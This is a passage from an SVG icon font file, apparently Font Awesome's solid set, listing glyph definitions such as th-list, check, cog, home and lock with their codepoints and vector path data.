d="M149.333 392v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24zM330.667 152c0 -13.2549 -10.7451 -24 -24.001 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80
c0 13.2549 10.7451 24 24 24h101.334c13.2549 0 24 -10.7451 24 -24v-80zM362.667 392c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80zM330.667 312
c0 -13.2549 -10.7451 -24 -24.001 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.334c13.2549 0 24 -10.7451 24 -24v-80zM125.333 256c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333
c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333zM0 72c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80zM386.667 128
c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333zM386.667 -32c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24
v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333zM181.333 72c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80z" />
    <glyph glyph-name="th-list" unicode="&#xf00b;" 
d="M149.333 232v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24zM0 72c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80
c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80zM125.333 416c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333zM205.333 -32
c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h282.667c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-282.667zM181.333 392c0 13.2549 10.7451 24 24 24h282.667c13.2549 0 24 -10.7451 24 -24v-80
c0 -13.2549 -10.7451 -24 -24 -24h-282.667c-13.2549 0 -24 10.7451 -24 24v80zM205.333 128c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h282.667c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-282.667z" />
    <glyph glyph-name="check" unicode="&#xf00c;" 
d="M173.898 8.5957l-166.4 166.4c-9.99707 9.99707 -9.99707 26.2061 0 36.2041l36.2031 36.2041c9.99707 9.99805 26.207 9.99805 36.2041 0l112.095 -112.095l240.095 240.095c9.99707 9.99707 26.207 9.99707 36.2041 0l36.2031 -36.2041
c9.99707 -9.99707 9.99707 -26.2061 0 -36.2041l-294.4 -294.401c-9.99805 -9.99707 -26.207 -9.99707 -36.2031 0.000976562z" />
    <glyph glyph-name="times" unicode="&#xf00d;" horiz-adv-x="352" 
d="M242.72 192l100.07 -100.07c12.2803 -12.29 12.2803 -32.1992 0 -44.4795l-22.2402 -22.2402c-12.2803 -12.2803 -32.2002 -12.2803 -44.4795 0l-100.07 100.07l-100.07 -100.07c-12.2793 -12.2803 -32.1992 -12.2803 -44.4795 0l-22.2402 22.2402
c-12.2803 12.29 -12.2803 32.2002 0 44.4795l100.07 100.07l-100.07 100.07c-12.2803 12.29 -12.2803 32.1992 0 44.4795l22.2402 22.2402c12.29 12.2803 32.2002 12.2803 44.4795 0l100.07 -100.07l100.07 100.07c12.29 12.2803 32.1992 12.2803 44.4795 0
l22.2402 -22.2402c12.2803 -12.29 12.2803 -32.2002 0 -44.4795z" />
    <glyph glyph-name="search-plus" unicode="&#xf00e;" 
d="M304 256v-32c0 -6.59961 -5.40039 -12 -12 -12h-56v-56c0 -6.59961 -5.40039 -12 -12 -12h-32c-6.59961 0 -12 5.40039 -12 12v56h-56c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h56v56c0 6.59961 5.40039 12 12 12h32c6.59961 0 12 -5.40039 12 -12
v-56h56c6.59961 0 12 -5.40039 12 -12zM505 -28.7002l-28.2998 -28.2998c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-99.7998 99.7002c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.7002 -44 -128 -44c-114.9 0 -208 93.0996 -208 208
s93.0996 208 208 208s208 -93.0996 208 -208c0 -48.2998 -16.4004 -92.7002 -44 -128h16.2998c6.40039 0 12.5 -2.5 17 -7l99.7002 -99.7002c9.2998 -9.39941 9.2998 -24.5996 0 -34zM344 240c0 75.2002 -60.7998 136 -136 136s-136 -60.7998 -136 -136
s60.7998 -136 136 -136s136 60.7998 136 136z" />
    <glyph glyph-name="search-minus" unicode="&#xf010;" 
d="M304 256v-32c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h168c6.59961 0 12 -5.40039 12 -12zM505 -28.7002l-28.2998 -28.2998c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-99.7998 99.7002
c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.7002 -44 -128 -44c-114.9 0 -208 93.0996 -208 208s93.0996 208 208 208s208 -93.0996 208 -208c0 -48.2998 -16.4004 -92.7002 -44 -128h16.2998c6.40039 0 12.5 -2.5 17 -7l99.7002 -99.7002
c9.2998 -9.39941 9.2998 -24.5996 0 -34zM344 240c0 75.2002 -60.7998 136 -136 136s-136 -60.7998 -136 -136s60.7998 -136 136 -136s136 60.7998 136 136z" />
    <glyph glyph-name="power-off" unicode="&#xf011;" 
d="M400 393.9c63 -45 104 -118.601 104 -201.9c0 -136.8 -110.8 -247.7 -247.5 -248c-136.5 -0.299805 -248.3 111 -248.5 247.6c-0.0996094 83.3008 40.9004 157.101 103.8 202.2c11.7002 8.2998 28 4.7998 35 -7.7002l15.7998 -28.0996
c5.90039 -10.5 3.10059 -23.7998 -6.59961 -31c-41.5 -30.7998 -68 -79.5996 -68 -134.9c-0.0996094 -92.2998 74.5 -168.1 168 -168.1c91.5996 0 168.6 74.2002 168 169.1c-0.299805 51.8008 -24.7002 101.801 -68.0996 134c-9.7002 7.2002 -12.4004 20.5 -6.5 30.9004
l15.7998 28.0996c7 12.4004 23.2002 16.1006 34.7998 7.80078zM296 184c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v240c0 13.2998 10.7002 24 24 24h32c13.2998 0 24 -10.7002 24 -24v-240z" />
    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="640" 
d="M216 160c8.83984 0 16 -7.16016 16 -16v-192c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v192c0 8.83984 7.16016 16 16 16h48zM88 64c8.83984 0 16 -7.16016 16 -16v-96c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v96
c0 8.83984 7.16016 16 16 16h48zM344 256c8.83984 0 16 -7.16016 16 -16v-288c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v288c0 8.83984 7.16016 16 16 16h48zM472 352c8.83984 0 16 -7.16016 16 -16v-384c0 -8.83984 -7.16016 -16 -16 -16h-48
c-8.83984 0 -16 7.16016 -16 16v384c0 8.83984 7.16016 16 16 16h48zM600 448c8.83984 0 16 -7.16016 16 -16v-480c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v480c0 8.83984 7.16016 16 16 16h48z" />
    <glyph glyph-name="cog" unicode="&#xf013;" 
d="M487.4 132.3c4.89941 -2.7998 7.09961 -8.59961 5.59961 -14.0996c-11.0996 -35.7002 -30 -67.9004 -54.7002 -94.6006c-3.7998 -4.19922 -9.89941 -5.09961 -14.7998 -2.2998l-42.5996 24.6006c-18 -15.3008 -38.6006 -27.2002 -60.8008 -35.1006v-49.2002
c0 -5.59961 -3.89941 -10.5 -9.39941 -11.6992c-34.9004 -7.80078 -72.5 -8.2002 -109.2 0c-5.5 1.19922 -9.40039 6.09961 -9.40039 11.6992v49.2002c-22.2998 7.7998 -42.8994 19.7002 -60.7998 35.1006l-42.5996 -24.6006c-4.7998 -2.7998 -11 -1.7998 -14.7998 2.2998
c-24.7002 26.8008 -43.6006 59 -54.7002 94.6006c-1.60059 5.39941 0.599609 11.2002 5.5 14l42.5996 24.5996c-4.2998 23.2002 -4.2998 47 0 70.2002l-42.5996 24.5996c-4.90039 2.80078 -7.2002 8.60059 -5.5 14c11.0996 35.7002 30 67.9004 54.7002 94.6006
c3.7998 4.2002 9.89941 5.09961 14.7998 2.2998l42.5 -24.5996c18 15.2998 38.5996 27.1992 60.7998 35.0996v49.2002c0 5.59961 3.90039 10.5 9.40039 11.7002c34.8994 7.7998 72.5 8.19922 109.199 0c5.5 -1.2002 9.40039 -6.10059 9.40039 -11.7002v-49.1006
c22.2998 -7.7998 42.9004 -19.6992 60.7998 -35.0996l42.6006 24.5996c4.7998 2.80078 11 1.80078 14.7998 -2.2998c24.7002 -26.7998 43.5996 -59 54.7002 -94.5996c1.59961 -5.40039 -0.600586 -11.2002 -5.5 -14l-42.6006 -24.6006
c4.2998 -23.1992 4.2998 -47 0 -70.1992zM256 112c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="576" 
d="M280.37 299.74c1.84863 1.49023 5.27539 2.69922 7.64941 2.69922c2.375 0 5.80176 -1.20898 7.65039 -2.69922l184.33 -151.74v-164c0 -8.83203 -7.16797 -16 -16 -16l-112.02 0.30957h-0.000976562c-8.83203 0 -16 7.16797 -16 16
c0 0.0146484 0 0.0371094 0.000976562 0.0507812v95.6396c0 8.83203 -7.16895 16 -16 16h-64c-8.83203 0 -16 -7.16797 -16 -16v-95.71v0c0 -8.78809 -7.13281 -15.9561 -15.9209 -16l-112.06 -0.290039c-8.83203 0 -16 7.16797 -16 16v163.89zM571.6 196.53
c2.44531 -1.98828 4.42969 -6.15918 4.42969 -9.31055c0 -2.37305 -1.22266 -5.78613 -2.72949 -7.62012l-25.5 -31c-1.98633 -2.40332 -6.13086 -4.35449 -9.24902 -4.35449c-2.38574 0 -5.81348 1.23438 -7.65039 2.75488l-235.23 193.74
c-1.84863 1.49023 -5.27539 2.69922 -7.65039 2.69922c-2.37402 0 -5.80078 -1.20898 -7.64941 -2.69922l-235.22 -193.74c-1.83691 -1.5166 -5.26074 -2.74805 -7.64258 -2.74805c-3.12793 0 -7.28027 1.96191 -9.26758 4.37793l-25.5 31
c-1.52051 1.83789 -2.75488 5.26562 -2.75488 7.65039c0 3.11914 1.95117 7.2627 4.35449 9.25l253.13 208.47c7.33594 6.03613 21 10.9355 30.5 10.9355c9.50098 0 23.1641 -4.89941 30.5 -10.9355l89.5303 -73.6602v72.6104c0 6.62402 5.37598 12 12 12h56
c6.62402 0 12 -5.37598 12 -12v-138.51z" />
    <glyph glyph-name="clock" unicode="&#xf017;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM313.1 89.9004c5.40039 -3.90039 12.9004 -2.7002 16.8008 2.59961l28.1992 38.7998c3.90039 5.40039 2.80078 12.9004 -2.59961 16.7998l-63.5 46.2002v137.7
c0 6.59961 -5.40039 12 -12 12h-48c-6.59961 0 -12 -5.40039 -12 -12v-168.3c0 -3.7998 1.7998 -7.40039 4.90039 -9.7002z" />
    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="576" 
d="M573.19 45.3301c9.25977 -21.1904 -5.5 -45.3301 -27.7305 -45.3301h-196.84l-10.3105 97.6797c-0.859375 8.14062 -7.71973 14.3203 -15.9092 14.3203h-68.8008c-8.18945 0 -15.0498 -6.17969 -15.9092 -14.3203l-10.3105 -97.6797h-196.84
c-22.2305 0 -36.9902 24.1396 -27.7402 45.3301l139.79 320c4.96973 11.3799 15.7998 18.6699 27.7305 18.6699h97.5898l-2.4502 -23.1602c-0.5 -4.71973 3.20996 -8.83984 7.95996 -8.83984h29.1602c4.75 0 8.45996 4.12012 7.95996 8.83984l-2.4502 23.1602h97.5898
c11.9199 0 22.75 -7.29004 27.7207 -18.6699zM260.4 312.84l-4.59082 -43.5801c-0.75 -7.08984 4.80078 -13.2598 11.9307 -13.2598h40.54c7.12012 0 12.6797 6.16992 11.9297 13.2598l-4.59961 43.5801c-0.430664 4.07031 -3.87012 7.16016 -7.95996 7.16016h-39.29
h-0.00488281c-3.97363 0 -7.53809 -3.20801 -7.95508 -7.16016zM315.64 144c9.5 0 16.9102 8.23047 15.9102 17.6797l-5.06934 48c-0.860352 8.14062 -7.7207 14.3203 -15.9102 14.3203h-45.1504c-8.18945 0 -15.0498 -6.17969 -15.9102 -14.3203l-5.06934 -48
c-1 -9.44922 6.40918 -17.6797 15.9092 -17.6797h55.29z" />
    <glyph glyph-name="download" unicode="&#xf019;" 
d="M216 448h80c13.2998 0 24 -10.7002 24 -24v-168h87.7002c17.7998 0 26.7002 -21.5 14.0996 -34.0996l-152.1 -152.2c-7.5 -7.5 -19.7998 -7.5 -27.2998 0l-152.301 152.2c-12.5996 12.5996 -3.69922 34.0996 14.1006 34.0996h87.7998v168c0 13.2998 10.7002 24 24 24z
M512 72v-112c0 -13.2998 -10.7002 -24 -24 -24h-464c-13.2998 0 -24 10.7002 -24 24v112c0 13.2998 10.7002 24 24 24h146.7l49 -49c20.0996 -20.0996 52.5 -20.0996 72.5996 0l49 49h146.7c13.2998 0 24 -10.7002 24 -24zM388 -16c0 11 -9 20 -20 20s-20 -9 -20 -20
s9 -20 20 -20s20 9 20 20zM452 -16c0 11 -9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20s20 9 20 20z" />
    <glyph glyph-name="inbox" unicode="&#xf01c;" horiz-adv-x="576" 
d="M567.938 204.092c4.4502 -6.6748 8.06152 -18.6025 8.06152 -26.624v-0.000976562v-129.467c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v129.467v0.000976562c0 8.02148 3.61133 19.9492 8.06152 26.624l105.689 158.534
c7.86621 11.7988 25.7578 21.374 39.9385 21.374h268.621c14.1807 0 32.0732 -9.57617 39.9395 -21.374zM162.252 320l-85.334 -128h123.082l32 -64h112l32 64h123.082l-85.333 128h-251.497z" />
    <glyph glyph-name="redo" unicode="&#xf01e;" 
d="M500.33 448c6.62402 0 12 -5.37598 12 -12v-200.34c0 -6.62402 -5.37598 -12 -12 -12h-200.33c-6.62402 0 -12 5.37598 -12 12v47.4102v0.0136719c0 6.62402 5.37598 12 12 12c0.157227 0 0.413086 -0.00683594 0.570312 -0.0136719l101.529 -4.87012
c-28.8721 42.9609 -94.3145 77.8281 -146.076 77.8281c-97.1514 0 -176 -78.8486 -176 -176c0 -97.1523 78.8486 -176 176 -176c36.6543 0 88.7373 19.6504 116.257 43.8613c1.87207 1.63672 5.40918 2.96387 7.89551 2.96387c2.74316 0 6.54395 -1.57422 8.48438 -3.51367
l34 -34c1.94141 -1.94043 3.51758 -5.74316 3.51758 -8.48828c0 -2.96094 -1.79102 -6.9668 -3.99805 -8.94141c-38.9707 -35.2783 -113.264 -63.9102 -165.831 -63.9102h-0.348633c-136.9 0 -247.9 110.93 -248 247.81c-0.0996094 136.66 111.34 248.19 248 248.19
h0.272461c63.2246 0 147.739 -39.124 188.647 -87.3301l-4 82.7598c-0.0078125 0.157227 -0.0136719 0.413086 -0.0136719 0.570312c0 6.62402 5.37598 12 12 12h0.0136719h47.4102z" />
    <glyph glyph-name="sync" unicode="&#xf021;" 
d="M440.65 435.43c-0.0078125 0.157227 -0.0136719 0.413086 -0.0136719 0.570312c0 6.62012 5.37305 11.9961 11.9932 12h47.3701c6.62402 0 12 -5.37598 12 -12v-200.35c0 -6.62402 -5.37598 -12 -12 -12h-200.22c-6.62402 0 -12 5.37598 -12 12v47.4092v0.0136719
c0 6.62402 5.37598 12 12 12c0.157227 0 0.412109 -0.00585938 0.569336 -0.0136719l101.46 -4.85938c-28.8584 42.9248 -94.2598 77.7627 -145.984 77.7627c-76.4834 0 -153.099 -60.3467 -171.016 -134.703c-1.19727 -5.10547 -6.4248 -9.25391 -11.6699 -9.25977
h-49.0498c-6.62402 0 -12 5.37598 -12 12c0 0.606445 0.0898438 1.58301 0.200195 2.17969c21.6201 114.9 122.44 201.82 243.54 201.82h0.28418c63.2031 0 147.667 -39.1279 188.536 -87.3398zM255.83 16c76.4971 0 153.144 60.3633 171.03 134.74
c1.19727 5.10547 6.4248 9.25391 11.6699 9.25977h49.0498c6.62402 0 12 -5.37598 12 -12c0 -0.606445 -0.0898438 -1.58301 -0.200195 -2.17969c-21.6201 -114.9 -122.439 -201.82 -243.55 -201.82h-0.234375c-63.1289 0 -147.53 39.0518 -188.396 87.1699
l4.14941 -82.5703c0.00878906 -0.165039 0.015625 -0.433594 0.015625 -0.599609c0 -6.62402 -5.37598 -12 -12 -12h-0.015625h-47.3496c-6.62402 0 -12 5.37598 -12 12v200.33c0 6.62402 5.37598 12 12 12h200.2c6.62402 0 12 -5.37598 12 -12v-47.4004v-0.0136719
c0 -6.62402 -5.37598 -12 -12 -12c-0.157227 0 -0.413086 0.00683594 -0.570312 0.0136719l-101.8 4.87012c28.7998 -42.9453 94.1406 -77.7998 145.85 -77.7998h0.150391z" />
    <glyph glyph-name="list-alt" unicode="&#xf022;" 
d="M464 -32h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48zM128 328c-22.0908 0 -40 -17.9092 -40 -40s17.9092 -40 40 -40s40 17.9092 40 40s-17.9092 40 -40 40zM128 232
c-22.0908 0 -40 -17.9092 -40 -40s17.9092 -40 40 -40s40 17.9092 40 40s-17.9092 40 -40 40zM128 136c-22.0908 0 -40 -17.9092 -40 -40s17.9092 -40 40 -40s40 17.9092 40 40s-17.9092 40 -40 40zM416 272v32c0 6.62695 -5.37305 12 -12 12h-200
c-6.62695 0 -12 -5.37305 -12 -12v-32c0 -6.62695 5.37305 -12 12 -12h200c6.62695 0 12 5.37305 12 12zM416 176v32c0 6.62695 -5.37305 12 -12 12h-200c-6.62695 0 -12 -5.37305 -12 -12v-32c0 -6.62695 5.37305 -12 12 -12h200c6.62695 0 12 5.37305 12 12zM416 80v32
c0 6.62695 -5.37305 12 -12 12h-200c-6.62695 0 -12 -5.37305 -12 -12v-32c0 -6.62695 5.37305 -12 12 -12h200c6.62695 0 12 5.37305 12 12z" />
    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="448" 
d="M400 224c26.5 0 48 -21.5 48 -48v-192c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v192c0 26.5 21.5 48 48 48h24v72c0 83.7998 68.2002 152 152 152s152 -68.2002 152 -152v-72h24zM296 224v72c0 39.7002 -32.2998 72 -72 72s-72 -32.2998 -72 -72v-72h144
z" />
    <glyph glyph-name="flag" unicode="&#xf024;" 
d="M349.565 349.217c40.4951 0 82.6113 15.9062 116.949 31.8545c21.2168 9.85352 45.4854 -5.62305 45.4854 -29.0166v-243.1c0 -10.5264 -5.16016 -20.4072 -13.8428 -26.3584c-35.8379 -24.5635 -74.3359 -40.8574 -122.505 -40.8574
c-67.373 0 -111.629 34.7832 -165.218 34.7832c-50.8525 0 -86.124 -10.0586 -114.435 -22.1221v-94.4004c0 -13.2549 -10.7451 -24 -24 -24h-16c-13.2549 0 -24 10.7451 -24 24v386.055c-14.5029 10.1201 -24 26.9189 -24 45.9453
c0 31.7041 26.3447 57.2539 58.3379 55.9521c28.4678 -1.1582 51.7793 -23.9668 53.5508 -52.4033c0.0625 -0.980469 0.113281 -2.57324 0.113281 -3.55566c0 -5.71094 -1.65723 -14.6738 -3.69922 -20.0059c20.7363 7.62891 43.0898 12.0127 68.0449 12.0127
c67.373 0 111.63 -34.7832 165.218 -34.7832z" />
    <glyph glyph-name="headphones" unicode="&#xf025;" 
d="M256 416c141.504 0 256 -114.521 256 -256v-48c0 -10.917 -7.9248 -23.7402 -17.6904 -28.6221l-14.3818 -7.19141c-2.01074 -60.0889 -51.3486 -108.187 -111.928 -108.187h-24c-13.2549 0 -24 10.7451 -24 24v176c0 13.2549 10.7451 24 24 24h24
c31.3418 0 59.6709 -12.8789 80 -33.627v1.62695c0 105.869 -86.1309 192 -192 192s-192 -86.1309 -192 -192v-1.62695c20.3291 20.748 48.6582 33.627 80 33.627h24c13.2549 0 24 -10.7451 24 -24v-176c0 -13.2549 -10.7451 -24 -24 -24h-24
c-60.5791 0 -109.917 48.0967 -111.928 108.187l-14.3828 7.19141c-9.76465 4.88184 -17.6895 17.7051 -17.6895 28.6221v0v48c0 141.504 114.52 256 256 256z" />
    <glyph glyph-name="volume-off" unicode="&#xf026;" horiz-adv-x="256" 
d="M215 377c15 15 41 4.46973 41 -17v-336c0 -21.4697 -26 -32 -41 -17l-88.9404 89h-102.06c-13.248 0 -24 10.752 -24 24v144c0 13.248 10.752 24 24 24h102z" />
    <glyph glyph-name="volume-down" unicode="&#xf027;" horiz-adv-x="384" 
d="M215.03 375.96c15.0098 15 40.9697 4.49023 40.9697 -16.9795v-335.961c0 -21.4395 -25.9404 -32 -40.9697 -16.9697l-88.9707 88.9502h-102.06c-13.2598 0 -24 10.75 -24 24v144c0 13.2598 10.7402 24 24 24h102.06zM338.23 267.88
c28.2393 -15.5498 45.7793 -44.9902 45.7793 -76.8701s-17.54 -61.3301 -45.7695 -76.8799c-11.5605 -6.34961 -26.1807 -2.20996 -32.6104 9.4502c-6.38965 11.6104 -2.16016 26.2002 9.4502 32.6104c12.9004 7.08984 20.9199 20.4297 20.9199 34.8096
s-8.01953 27.7197 -20.9297 34.8203c-11.6104 6.41016 -15.8398 21 -9.4502 32.6094c6.41992 11.6104 21.0303 15.7803 32.6104 9.4502z" />
    <glyph glyph-name="volume-up" unicode="&#xf028;" horiz-adv-x="576" 
d="M215.03 376.95c15.0098 15.0098 40.9697 4.49023 40.9697 -16.9697v-335.961c0 -21.4395 -25.9404 -32 -40.9697 -16.9697l-88.9707 88.9502h-102.06c-13.2598 0 -24 10.75 -24 24v144c0 13.2598 10.7402 24 24 24h102.06zM448.35 428.03
c79.9199 -52.46 127.65 -140.7 127.65 -236.03s-47.7305 -183.58 -127.65 -236.04c-11.5801 -7.61035 -26.4697 -3.75977 -33.5098 6.9502c-7.33984 11.1602 -4.21973 26.1797 6.9502 33.5c66.2695 43.4902 105.82 116.6 105.82 195.58
c0 78.9795 -39.5508 152.09 -105.82 195.58c-11.1699 7.33008 -14.29 22.3398 -6.9502 33.5098c7.33008 11.1895 22.3398 14.2803 33.5098 6.9502zM480 192c0 -63.54 -32.0596 -121.94 -85.7695 -156.24c-12 -7.67969 -26.6104 -2.89941 -33.1201 7.45996
c-7.09082 11.29 -3.78027 26.2207 7.40918 33.3604c39.75 25.3896 63.4805 68.5303 63.4805 115.42s-23.7305 90.0303 -63.4805 115.42c-11.1895 7.15039 -14.5 22.0801 -7.40918 33.3604c7.08984 11.2793 21.9297 14.5996 33.1201 7.45996
c53.71 -34.2998 85.7695 -92.71 85.7695 -156.24zM338.23 268.87c28.2393 -15.54 45.7793 -44.9805 45.7793 -76.8604s-17.54 -61.3301 -45.7695 -76.8799c-11.5605 -6.34961 -26.1807 -2.20996 -32.6104 9.4502c-6.38965 11.6104 -2.16016 26.2002 9.4502 32.6104
c12.9004 7.08984 20.9199 20.4297 20.9199 34.8096c0 14.3701 -8.01953 27.7197 -20.9297 34.8096c-11.6104 6.41016 -15.8398 21 -9.4502 32.6104c6.41992 11.6104 21.0303 15.7803 32.6104 9.4502z" />
    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="448" 
d="M0 224v192h192v-192h-192zM64 352v-64h64v64h-64zM256 416h192v-192h-192v192zM384 288v64h-64v-64h64zM0 -32v192h192v-192h-192zM64 96v-64h64v64h-64zM416 160h32v-128h-96v32h-32v-96h-64v192h96v-32h64v32zM416 0h32v-32h-32v32zM352 0h32v-32h-32v32z" />
    <glyph glyph-name="barcode" unicode="&#xf02a;" 
d="M0 0v384h18v-384h-18zM26.8574 0.273438v383.727h9.14258v-383.727h-9.14258zM54 0.273438v383.727h8.85742v-383.727h-8.85742zM98.8574 0.273438v383.727h8.85645v-383.727h-8.85645zM134.857 0.273438v383.727h17.7139v-383.727h-17.7139zM179.714 0.273438v383.727
h8.85742v-383.727h-8.85742zM197.714 0.273438v383.727h8.85742v-383.727h-8.85742zM215.714 0.273438v383.727h8.85742v-383.727h-8.85742zM251.429 0.273438v383.727h18v-383.727h-18zM296.286 0.273438v383.727h18v-383.727h-18zM332.285 0.273438v383.727h18.001
v-383.727h-18.001zM368.286 0.273438v383.727h18.001v-383.727h-18.001zM395.143 0.273438v383.727h18v-383.727h-18zM440.286 0.273438v383.727h26.8564v-383.727h-26.8564zM476 0.273438v383.727h9.14258v-383.727h-9.14258zM494 0v384h18v-384h-18z" />
    <glyph glyph-name="tag" unicode="&#xf02b;" 
d="M0 195.882v204.118c0 26.5098 21.4902 48 48 48h204.118c10.9746 0 26.1807 -6.29883 33.9404 -14.0586l211.883 -211.883c18.7441 -18.7441 18.7441 -49.1367 0 -67.8818l-204.118 -204.118c-18.7451 -18.7441 -49.1377 -18.7441 -67.8818 0l-211.883 211.883
c-7.75977 7.75977 -14.0586 22.9658 -14.0586 33.9404zM112 384c-26.5098 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48z" />
    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="640" 
d="M497.941 222.059c18.7441 -18.7441 18.7441 -49.1367 0 -67.8818l-204.118 -204.118c-18.7461 -18.7451 -49.1387 -18.7441 -67.8818 0l-211.883 211.883c-7.75977 7.75977 -14.0586 22.9658 -14.0586 33.9404v204.118c0 26.5098 21.4902 48 48 48h204.118
c10.9746 0 26.1807 -6.29883 33.9404 -14.0586zM112 288c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM625.941 154.177l-204.118 -204.118c-18.7451 -18.7441 -49.1377 -18.7441 -67.8818 0l-0.360352 0.360352
l174.059 174.059c16.999 16.999 26.3604 39.6006 26.3604 63.6406s-9.3623 46.6406 -26.3604 63.6396l-196.242 196.242h48.7207c10.9746 0 26.1807 -6.29883 33.9404 -14.0586l211.883 -211.883c18.7441 -18.7441 18.7441 -49.1367 0 -67.8818z" />
    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="448" 
d="M448 88c0 -7.5 -3.5 -14.2998 -8.90039 -18.5996c-4.19922 -15.4004 -4.19922 -59.3008 0 -74.7002c5.40039 -4.40039 8.90039 -11.2002 8.90039 -18.7002v-16c0 -13.2998 -10.7002 -24 -24 -24h-328c-53 0 -96 43 -96 96v320c0 53 43 96 96 96h328
c13.2998 0 24 -10.7002 24 -24v-336zM128 314v-20c0 -3.2998 2.7002 -6 6 -6h212c3.2998 0 6 2.7002 6 6v20c0 3.2998 -2.7002 6 -6 6h-212c-3.2998 0 -6 -2.7002 -6 -6zM128 250v-20c0 -3.2998 2.7002 -6 6 -6h212c3.2998 0 6 2.7002 6 6v20c0 3.2998 -2.7002 6 -6 6h-212
c-3.2998 0 -6 -2.7002 -6 -6zM381.4 0c-1.90039 17.0996 -1.90039 46.9004 0 64h-285.4c-17.5996 0 -32 -14.4004 -32 -32c0 -17.7002 14.2998 -32 32 -32h285.4z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="384" 
d="M0 -64v464c0 26.5098 21.4902 48 48 48h288c26.5098 0 48 -21.4902 48 -48v-464l-192 112z" />
    <glyph glyph-name="print" unicode="&#xf02f;" 
d="M448 256c35.3496 0 64 -28.6504 64 -64v-112c0 -8.83984 -7.16016 -16 -16 -16h-48v-96c0 -17.6699 -14.3301 -32 -32 -32h-320c-17.6699 0 -32 14.3301 -32 32v96h-48c-8.83984 0 -16 7.16016 -16 16v112c0 35.3496 28.6504 64 64 64v160c0 17.6699 14.3301 32 32 32
h274.74c8.49023 0 16.6299 -3.37012 22.6299 -9.37012l45.2598 -45.25c6 -6.00977 9.37012 -14.1396 9.37012 -22.6299v-114.75zM384 0v96h-256v-96h256zM384 224v96h-48c-8.83984 0 -16 7.16016 -16 16v48h-192v-160h256zM432 152c13.25 0 24 10.75 24 24
c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" />
    <glyph glyph-name="camera" unicode="&#xf030;" 
